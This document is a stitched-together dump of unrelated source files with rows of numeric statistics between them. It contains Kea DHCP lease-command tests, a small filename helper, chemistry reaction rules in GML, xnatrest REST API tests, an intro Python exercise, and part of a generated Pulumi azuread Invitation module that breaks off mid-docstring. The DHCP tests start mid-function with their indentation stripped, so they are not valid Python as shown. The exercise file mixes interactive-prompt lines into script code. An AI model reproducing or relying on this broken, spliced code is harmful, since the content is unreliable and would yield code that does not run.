srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.1-192.168.50.1')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_copy_option('server_id')
srv_msg.client_does_include_with_value('requested_addr', '192.168.50.1')
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ACK')
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_include_option(1)
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'aa:bb:cc:dd:ee:11')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_dont_wait_for_message()
srv_msg.send_ctrl_cmd_via_socket('{"command": "lease4-del","arguments": {"ip-address": "192.168.50.1"}}')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'aa:bb:cc:dd:ee:11')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_del_using_hw_address():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.1-192.168.50.1')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_copy_option('server_id')
srv_msg.client_does_include_with_value('requested_addr', '192.168.50.1')
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ACK')
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_include_option(1)
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'aa:bb:cc:dd:ee:11')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_dont_wait_for_message()
srv_msg.send_ctrl_cmd_via_socket('{"command": "lease4-del","arguments": {"identifier": "ff:01:02:03:ff:04","identifier-type":"hw-address","subnet-id":1}}')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'aa:bb:cc:dd:ee:11')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_wipe():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.1-192.168.50.2')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_copy_option('server_id')
srv_msg.client_does_include_with_value('requested_addr', '192.168.50.1')
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ACK')
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_include_option(1)
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:05')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.2')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_copy_option('server_id')
srv_msg.client_does_include_with_value('requested_addr', '192.168.50.2')
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:05')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ACK')
srv_msg.response_check_content('yiaddr', '192.168.50.2')
srv_msg.response_check_include_option(1)
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'aa:bb:cc:dd:ee:11')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_dont_wait_for_message()
srv_msg.send_ctrl_cmd_via_socket('{"command": "lease4-wipe","arguments": {"subnet-id":1}}')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'aa:bb:cc:dd:ee:11')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
| 38.037244
| 257
| 0.732008
| 3,315
| 20,426
| 4.156863
| 0.050075
| 0.092743
| 0.078374
| 0.095138
| 0.963643
| 0.95537
| 0.949347
| 0.939695
| 0.932221
| 0.9291
| 0
| 0.081567
| 0.112895
| 20,426
| 536
| 258
| 38.108209
| 0.678918
| 0.011946
| 0
| 0.902844
| 0
| 0.035545
| 0.245564
| 0.088728
| 0
| 0
| 0
| 0
| 0.004739
| 1
| 0.028436
| false
| 0.063981
| 0.009479
| 0
| 0.037915
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
b14c4f5b557ae34c55bc30361b9269fdb2f11f1d
| 179
|
py
|
Python
|
util.py
|
oylmz/market_data_exporter
|
05cf864a7a0a6c5097c37714a93a1ba4ad005dcc
|
[
"MIT"
] | 1
|
2021-02-28T20:50:40.000Z
|
2021-02-28T20:50:40.000Z
|
util.py
|
oylmz/market_data_exporter
|
05cf864a7a0a6c5097c37714a93a1ba4ad005dcc
|
[
"MIT"
] | null | null | null |
util.py
|
oylmz/market_data_exporter
|
05cf864a7a0a6c5097c37714a93a1ba4ad005dcc
|
[
"MIT"
] | null | null | null |
def make_filename_for_symbol(symbol, start_time, end_time, candlestick_interval):
return '{}_close_{}_to_{}_{}.csv'.format(symbol, start_time, end_time, candlestick_interval)
| 59.666667
| 96
| 0.793296
| 24
| 179
| 5.333333
| 0.625
| 0.171875
| 0.234375
| 0.28125
| 0.640625
| 0.640625
| 0.640625
| 0
| 0
| 0
| 0
| 0
| 0.078212
| 179
| 2
| 97
| 89.5
| 0.775758
| 0
| 0
| 0
| 0
| 0
| 0.134078
| 0.134078
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
49548505c91f378fc7c51e9cf4206acb4f041a7a
| 2,463
|
py
|
Python
|
rules/benzilicAcidRearrangement.py
|
Reaction-Space-Explorer/reac-space-exp
|
02c91247d9ee5107cbf9fa113e87edaf4bd392b0
|
[
"BSD-3-Clause"
] | 4
|
2020-06-27T23:08:41.000Z
|
2022-01-09T16:20:48.000Z
|
rules/benzilicAcidRearrangement.py
|
sahilrajiv/reac-space-exp
|
52f4b4eab755bd4a6830d838828c958149567396
|
[
"BSD-3-Clause"
] | 15
|
2020-07-27T23:14:32.000Z
|
2022-03-12T00:59:20.000Z
|
rules/benzilicAcidRearrangement.py
|
sahilrajiv/reac-space-exp
|
52f4b4eab755bd4a6830d838828c958149567396
|
[
"BSD-3-Clause"
] | 3
|
2020-06-27T23:08:46.000Z
|
2021-04-20T09:29:33.000Z
|
benzilicAcidRearrangement = ruleGMLString("""rule [
ruleID "Benzilic Acid Rearrangement"
labelType "term"
left [
edge [ source 1 target 2 label "-" ]
edge [ source 3 target 6 label "=" ]
# break H20 -> OH and H
edge [ source 8 target 9 label "-" ]
]
context [
node [ id 1 label "*" ]
node [ id 2 label "C" ]
node [ id 3 label "C" ]
node [ id 4 label "*" ]
node [ id 5 label "O" ]
node [ id 6 label "O" ]
edge [ source 2 target 3 label "-" ]
edge [ source 3 target 4 label "-" ]
edge [ source 2 target 5 label "=" ]
# and an H2O
node [ id 7 label "H" ]
node [ id 8 label "O" ]
node [ id 9 label "H" ]
edge [ source 7 target 8 label "-" ]
]
right [
edge [ source 1 target 3 label "-" ]
edge [ source 3 target 6 label "-" ]
edge [ source 6 target 9 label "-" ]
edge [ source 8 target 2 label "-" ]
]
# neither carbonyl should be a part of a carboxylic acid, amide, etc.
constrainAdj [ id 2 op "=" count 0
nodeLabels [ label "N" label "O" label "S" ]
edgeLabels [ label "-" ]
]
constrainAdj [ id 3 op "=" count 0
nodeLabels [ label "N" label "O" label "S" ]
edgeLabels [ label "-" ]
]
]
""")
benzilicAcidRearrangement_inv = ruleGMLString("""rule [
ruleID "Benzilic Acid Rearrangement (inverse)"
labelType "term"
left [
edge [ source 1 target 3 label "-" ]
edge [ source 3 target 6 label "-" ]
edge [ source 6 target 9 label "-" ]
edge [ source 8 target 2 label "-" ]
]
context [
node [ id 1 label "*" ]
node [ id 2 label "C" ]
node [ id 3 label "C" ]
node [ id 4 label "*" ]
node [ id 5 label "O" ]
node [ id 6 label "O" ]
edge [ source 2 target 3 label "-" ]
edge [ source 3 target 4 label "-" ]
edge [ source 2 target 5 label "=" ]
# and an H2O
node [ id 7 label "H" ]
node [ id 8 label "O" ]
node [ id 9 label "H" ]
edge [ source 7 target 8 label "-" ]
]
right [
edge [ source 1 target 2 label "-" ]
edge [ source 3 target 6 label "=" ]
# break H20 -> OH and H
edge [ source 8 target 9 label "-" ]
]
# should not form an amide or thioic acid
constrainAdj [ id 2 op "=" count 0
nodeLabels [ label "N" label "S" ]
edgeLabels [ label "-" ]
]
constrainAdj [ id 3 op "=" count 0
nodeLabels [ label "N" label "S" ]
edgeLabels [ label "-" ]
]
# carbon 3 should not already be attached to a carboynl, imine etc. group
constrainAdj [ id 3 op "=" count 0
nodeLabels [ label "O" label "N" label "S" ]
edgeLabels [ label "=" ]
]
]
""")
| 26.483871
| 74
| 0.590743
| 364
| 2,463
| 3.994505
| 0.184066
| 0.151307
| 0.123796
| 0.066025
| 0.860385
| 0.860385
| 0.775791
| 0.752407
| 0.726272
| 0.726272
| 0
| 0.044208
| 0.274462
| 2,463
| 93
| 75
| 26.483871
| 0.769446
| 0
| 0
| 0.752809
| 0
| 0
| 0.956981
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
497ad987cbacc530b3d0664e5650ad0ec39b6253
| 5,481
|
py
|
Python
|
tests/projects.py
|
chaselgrove/xnatrest
|
4176f4d3ffe54b5016cc70e2ac07fded8cefd623
|
[
"BSD-2-Clause"
] | null | null | null |
tests/projects.py
|
chaselgrove/xnatrest
|
4176f4d3ffe54b5016cc70e2ac07fded8cefd623
|
[
"BSD-2-Clause"
] | null | null | null |
tests/projects.py
|
chaselgrove/xnatrest
|
4176f4d3ffe54b5016cc70e2ac07fded8cefd623
|
[
"BSD-2-Clause"
] | null | null | null |
# See file COPYING distributed with xnatrest for copyright and license.
import unittest
from . import config
#from . import generate_identifier
import xnatrest
class TestProjectsGet(unittest.TestCase):
@config.test_foreach('projects')
def test_get_noauth(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.get()
self.assertEqual(response.status, 200, server_info['name'])
return
@config.test_foreach('projects')
def test_get_user_auth(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.get(auth=('test1', 'test1'))
self.assertEqual(response.status, 200, server_info['name'])
return
@config.test_foreach('projects')
def test_get_bad_user_auth(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.get(auth=('test1', 'bogus'))
self.assertEqual(response.status, 401, server_info['name'])
return
@config.test_foreach('projects')
def test_get_token_auth(self, server_info):
server = xnatrest.Server(server_info['url'])
session_resource = xnatrest.JsessionResource(server)
token = session_resource.get(auth=('test1', 'test1')).data
resource = xnatrest.ProjectsResource(server)
response = resource.get(auth=token)
self.assertEqual(response.status, 200, server_info['name'])
return
class TestProjectsGetWithContentType(unittest.TestCase):
@config.test_foreach('projects')
def test_get_ct_undefined(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.get()
# we don't actually care that content-type is application/json, just
# that it is set and contains a valid value
self.assertEquals(response.headers['content-type'],
'application/json',
server_info['name'])
return
@config.test_foreach('projects')
def test_get_ct_unknown(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.get(headers={'content-type': 'audio/vorbis'})
self.assertEqual(response.status, 406, server_info['name'])
return
@config.test_foreach('projects')
def test_get_ct_html(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.get(headers={'content-type': 'text/html'})
self.assertEqual(response.status, 200, server_info['name'])
self.assertEquals(response.headers['content-type'],
'text/html',
server_info['name'])
return
@config.test_foreach('projects')
def test_get_ct_csv(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.get(headers={'content-type': 'text/csv'})
self.assertEqual(response.status, 200, server_info['name'])
self.assertEquals(response.headers['content-type'],
'text/csv',
server_info['name'])
return
@config.test_foreach('projects')
def test_get_ct_json(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.get(headers={'content-type': 'application/json'})
self.assertEqual(response.status, 200, server_info['name'])
self.assertEquals(response.headers['content-type'],
'application/json',
server_info['name'])
return
@config.test_foreach('projects')
def test_get_ct_xml(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.get(headers={'content-type': 'text/xml'})
self.assertEqual(response.status, 200, server_info['name'])
self.assertEquals(response.headers['content-type'],
'text/xml',
server_info['name'])
return
#class TestProjectsPost(unittest.TestCase):
#
# @config.test_foreach('projects')
# def test_post(self, server_info):
# print generate_identifier()
# self.assertEqual(1,2)
# return
class TestProjectsPut(unittest.TestCase):
@config.test_foreach('projects')
def test_put(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.put(auth=('test1', 'test1'))
self.assertEqual(response.status, 405, server_info['name'])
return
class TestProjectsDelete(unittest.TestCase):
@config.test_foreach('projects')
def test_delete(self, server_info):
server = xnatrest.Server(server_info['url'])
resource = xnatrest.ProjectsResource(server)
response = resource.delete(auth=('test1', 'test1'))
self.assertEqual(response.status, 405, server_info['name'])
return
# eof
| 39.431655
| 77
| 0.648787
| 584
| 5,481
| 5.933219
| 0.152397
| 0.118326
| 0.064646
| 0.093795
| 0.827706
| 0.800289
| 0.800289
| 0.798846
| 0.739105
| 0.694661
| 0
| 0.010419
| 0.22952
| 5,481
| 138
| 78
| 39.717391
| 0.810088
| 0.074621
| 0
| 0.663551
| 1
| 0
| 0.09409
| 0
| 0
| 0
| 0
| 0
| 0.149533
| 1
| 0.11215
| false
| 0
| 0.028037
| 0
| 0.28972
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
499c45e7e5325ba9ff6ed5db8feee242448a6fe1
| 1,468
|
py
|
Python
|
chapter08/Exercise6.py
|
YordanIH/Intro_to_CS_w_Python
|
eebbb8efd7ef0d07be9bc45b6b1e8f20737ce01a
|
[
"MIT"
] | null | null | null |
chapter08/Exercise6.py
|
YordanIH/Intro_to_CS_w_Python
|
eebbb8efd7ef0d07be9bc45b6b1e8f20737ce01a
|
[
"MIT"
] | null | null | null |
chapter08/Exercise6.py
|
YordanIH/Intro_to_CS_w_Python
|
eebbb8efd7ef0d07be9bc45b6b1e8f20737ce01a
|
[
"MIT"
] | null | null | null |
"""In this exercise, you’ll create a list and then answer questions about that list.
Create a list of temperatures in degrees Celsius with the values 25.2, 16.8, 31.4, 23.9, 28, 22.5, and 19.6, and assign it to a variable called temps.
Using one of the list methods, sort temps in ascending order.
Using slicing, create two new lists, cool_temps and warm_temps, which contain the temperatures below and above 20 degrees Celsius, respectively.
Using list arithmetic, recombine cool_temps and warm_temps into a new list called temps_in_celsius.
"""
#Create a list of temperatures in degrees Celsius with the values 25.2, 16.8, 31.4, 23.9, 28, 22.5, and 19.6, and assign it to a variable called temps.
>>> temps = [25.2,16.8,31.4,23.9,28,22.5,19.6]
>>> temps
[25.2, 16.8, 31.4, 23.9, 28, 22.5, 19.6]
#Using one of the list methods, sort temps in ascending order.
>>> temps.sort()
>>> temps
[16.8, 19.6, 22.5, 23.9, 25.2, 28, 31.4]
#Using slicing, create two new lists, cool_temps and warm_temps, which contain the temperatures below and above 20 degrees Celsius, respectively.
>>> cool_temps = temps[:2]
>>> warm_temps = temps[2:]
>>> temps
[16.8, 19.6, 22.5, 23.9, 25.2, 28, 31.4]
>>> cool_temps
[16.8, 19.6]
>>> warm_temps
[22.5, 23.9, 25.2, 28, 31.4]
#Using list arithmetic, recombine cool_temps and warm_temps into a new list called temps_in_celsius.
>>> temps_in_celsius = cool_temps +warm_temps
>>> temps_in_celsius
[16.8, 19.6, 22.5, 23.9, 25.2, 28, 31.4]
| 40.777778
| 151
| 0.712534
| 287
| 1,468
| 3.567944
| 0.212544
| 0.023438
| 0.019531
| 0.023438
| 0.84082
| 0.830078
| 0.830078
| 0.830078
| 0.830078
| 0.830078
| 0
| 0.134196
| 0.157357
| 1,468
| 35
| 152
| 41.942857
| 0.693614
| 0.309264
| 0
| 0.352941
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
49a0fcd5da03ad6caf8639c0c4f576644eac3b71
| 21,859
|
py
|
Python
|
sdk/python/pulumi_azuread/invitation.py
|
AaronFriel/pulumi-azuread
|
d3161e0efd9bb7e67e26c0700d1b8e04e3c0184b
|
[
"ECL-2.0",
"Apache-2.0"
] | 11
|
2019-09-17T20:41:13.000Z
|
2021-12-28T02:06:40.000Z
|
sdk/python/pulumi_azuread/invitation.py
|
AaronFriel/pulumi-azuread
|
d3161e0efd9bb7e67e26c0700d1b8e04e3c0184b
|
[
"ECL-2.0",
"Apache-2.0"
] | 144
|
2019-05-08T20:53:11.000Z
|
2022-03-31T15:20:46.000Z
|
sdk/python/pulumi_azuread/invitation.py
|
AaronFriel/pulumi-azuread
|
d3161e0efd9bb7e67e26c0700d1b8e04e3c0184b
|
[
"ECL-2.0",
"Apache-2.0"
] | 5
|
2019-10-05T10:34:37.000Z
|
2022-01-18T18:43:16.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
from . import outputs
from ._inputs import *
__all__ = ['InvitationArgs', 'Invitation']
@pulumi.input_type
class InvitationArgs:
def __init__(__self__, *,
redirect_url: pulumi.Input[str],
user_email_address: pulumi.Input[str],
message: Optional[pulumi.Input['InvitationMessageArgs']] = None,
user_display_name: Optional[pulumi.Input[str]] = None,
user_type: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a Invitation resource.
:param pulumi.Input[str] redirect_url: The URL that the user should be redirected to once the invitation is redeemed.
:param pulumi.Input[str] user_email_address: The email address of the user being invited.
:param pulumi.Input['InvitationMessageArgs'] message: A `message` block as documented below, which configures the message being sent to the invited user. If this block is omitted, no message will be sent.
:param pulumi.Input[str] user_display_name: The display name of the user being invited.
:param pulumi.Input[str] user_type: The user type of the user being invited. Must be one of `Guest` or `Member`. Only Global Administrators can invite users as members. Defaults to `Guest`.
"""
pulumi.set(__self__, "redirect_url", redirect_url)
pulumi.set(__self__, "user_email_address", user_email_address)
if message is not None:
pulumi.set(__self__, "message", message)
if user_display_name is not None:
pulumi.set(__self__, "user_display_name", user_display_name)
if user_type is not None:
pulumi.set(__self__, "user_type", user_type)
@property
@pulumi.getter(name="redirectUrl")
def redirect_url(self) -> pulumi.Input[str]:
"""
The URL that the user should be redirected to once the invitation is redeemed.
"""
return pulumi.get(self, "redirect_url")
@redirect_url.setter
def redirect_url(self, value: pulumi.Input[str]):
pulumi.set(self, "redirect_url", value)
@property
@pulumi.getter(name="userEmailAddress")
def user_email_address(self) -> pulumi.Input[str]:
"""
The email address of the user being invited.
"""
return pulumi.get(self, "user_email_address")
@user_email_address.setter
def user_email_address(self, value: pulumi.Input[str]):
pulumi.set(self, "user_email_address", value)
@property
@pulumi.getter
def message(self) -> Optional[pulumi.Input['InvitationMessageArgs']]:
"""
A `message` block as documented below, which configures the message being sent to the invited user. If this block is omitted, no message will be sent.
"""
return pulumi.get(self, "message")
@message.setter
def message(self, value: Optional[pulumi.Input['InvitationMessageArgs']]):
pulumi.set(self, "message", value)
@property
@pulumi.getter(name="userDisplayName")
def user_display_name(self) -> Optional[pulumi.Input[str]]:
"""
The display name of the user being invited.
"""
return pulumi.get(self, "user_display_name")
@user_display_name.setter
def user_display_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_display_name", value)
@property
@pulumi.getter(name="userType")
def user_type(self) -> Optional[pulumi.Input[str]]:
"""
The user type of the user being invited. Must be one of `Guest` or `Member`. Only Global Administrators can invite users as members. Defaults to `Guest`.
"""
return pulumi.get(self, "user_type")
@user_type.setter
def user_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_type", value)
@pulumi.input_type
class _InvitationState:
def __init__(__self__, *,
message: Optional[pulumi.Input['InvitationMessageArgs']] = None,
redeem_url: Optional[pulumi.Input[str]] = None,
redirect_url: Optional[pulumi.Input[str]] = None,
user_display_name: Optional[pulumi.Input[str]] = None,
user_email_address: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None,
user_type: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering Invitation resources.
:param pulumi.Input['InvitationMessageArgs'] message: A `message` block as documented below, which configures the message being sent to the invited user. If this block is omitted, no message will be sent.
:param pulumi.Input[str] redeem_url: The URL the user can use to redeem their invitation.
:param pulumi.Input[str] redirect_url: The URL that the user should be redirected to once the invitation is redeemed.
:param pulumi.Input[str] user_display_name: The display name of the user being invited.
:param pulumi.Input[str] user_email_address: The email address of the user being invited.
:param pulumi.Input[str] user_id: Object ID of the invited user.
:param pulumi.Input[str] user_type: The user type of the user being invited. Must be one of `Guest` or `Member`. Only Global Administrators can invite users as members. Defaults to `Guest`.
"""
if message is not None:
pulumi.set(__self__, "message", message)
if redeem_url is not None:
pulumi.set(__self__, "redeem_url", redeem_url)
if redirect_url is not None:
pulumi.set(__self__, "redirect_url", redirect_url)
if user_display_name is not None:
pulumi.set(__self__, "user_display_name", user_display_name)
if user_email_address is not None:
pulumi.set(__self__, "user_email_address", user_email_address)
if user_id is not None:
pulumi.set(__self__, "user_id", user_id)
if user_type is not None:
pulumi.set(__self__, "user_type", user_type)
@property
@pulumi.getter
def message(self) -> Optional[pulumi.Input['InvitationMessageArgs']]:
"""
A `message` block as documented below, which configures the message being sent to the invited user. If this block is omitted, no message will be sent.
"""
return pulumi.get(self, "message")
@message.setter
def message(self, value: Optional[pulumi.Input['InvitationMessageArgs']]):
pulumi.set(self, "message", value)
@property
@pulumi.getter(name="redeemUrl")
def redeem_url(self) -> Optional[pulumi.Input[str]]:
"""
The URL the user can use to redeem their invitation.
"""
return pulumi.get(self, "redeem_url")
@redeem_url.setter
def redeem_url(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "redeem_url", value)
@property
@pulumi.getter(name="redirectUrl")
def redirect_url(self) -> Optional[pulumi.Input[str]]:
"""
The URL that the user should be redirected to once the invitation is redeemed.
"""
return pulumi.get(self, "redirect_url")
@redirect_url.setter
def redirect_url(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "redirect_url", value)
@property
@pulumi.getter(name="userDisplayName")
def user_display_name(self) -> Optional[pulumi.Input[str]]:
"""
The display name of the user being invited.
"""
return pulumi.get(self, "user_display_name")
@user_display_name.setter
def user_display_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_display_name", value)
@property
@pulumi.getter(name="userEmailAddress")
def user_email_address(self) -> Optional[pulumi.Input[str]]:
"""
The email address of the user being invited.
"""
return pulumi.get(self, "user_email_address")
@user_email_address.setter
def user_email_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_email_address", value)
@property
@pulumi.getter(name="userId")
def user_id(self) -> Optional[pulumi.Input[str]]:
"""
Object ID of the invited user.
"""
return pulumi.get(self, "user_id")
@user_id.setter
def user_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_id", value)
@property
@pulumi.getter(name="userType")
def user_type(self) -> Optional[pulumi.Input[str]]:
"""
The user type of the user being invited. Must be one of `Guest` or `Member`. Only Global Administrators can invite users as members. Defaults to `Guest`.
"""
return pulumi.get(self, "user_type")
@user_type.setter
def user_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_type", value)
class Invitation(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
message: Optional[pulumi.Input[pulumi.InputType['InvitationMessageArgs']]] = None,
redirect_url: Optional[pulumi.Input[str]] = None,
user_display_name: Optional[pulumi.Input[str]] = None,
user_email_address: Optional[pulumi.Input[str]] = None,
user_type: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Manages an invitation of a guest user within Azure Active Directory.
## API Permissions
The following API permissions are required in order to use this resource.
When authenticated with a service principal, this resource requires one of the following application roles: `User.Invite.All`, `User.ReadWrite.All` or `Directory.ReadWrite.All`
When authenticated with a user principal, this resource requires one of the following directory roles: `Guest Inviter`, `User Administrator` or `Global Administrator`
## Example Usage
*Basic example*
```python
import pulumi
import pulumi_azuread as azuread
example = azuread.Invitation("example",
redirect_url="https://portal.azure.com",
user_email_address="jdoe@hashicorp.com")
```
*Invitation with standard message*
```python
import pulumi
import pulumi_azuread as azuread
example = azuread.Invitation("example",
message=azuread.InvitationMessageArgs(
language="en-US",
),
redirect_url="https://portal.azure.com",
user_email_address="jdoe@hashicorp.com")
```
*Invitation with custom message body and an additional recipient*
```python
